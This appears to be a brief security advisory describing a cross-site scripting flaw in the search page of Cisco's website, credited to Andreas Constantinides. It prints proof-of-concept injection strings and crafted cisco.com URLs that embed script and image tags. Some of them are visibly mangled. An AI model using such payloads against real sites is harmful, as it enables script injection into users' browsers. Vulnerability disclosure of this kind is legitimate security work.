|
|
| |
| A Cross Site Scripting vulnerability has been discovered in Cisco systems' site. The vulnerability would allow attackers to cause users to view 3rd-party malicious JavaScript or HTML code as if it were the legitimate content offered by Cisco. |
| |
Credit:
The information has been provided by Andreas Constantinides (MegaHz).
|
| |
If you put the following script in the search engine's search field and click on the search button, the script will be executed (on the client's side):
"<scr!pt%alert('cisco systems site XSS')</scr!pt>"
Or, alternatively:
"<img src%"http://www.host.com/image.gif">"
This URL will have the same effect, without the need for user intervention:
http://www.cisco.com/pcgi-bin/search/search.pl"<scr!pt>alert('cisco systems site XSS')</script>"
Similarly:
http://www.cisco.com/pcgi-bin/search/search.pl"<img src="http://www.megahz.org/images/megahz.gif">"
|
|
|
|
|
|
|
|
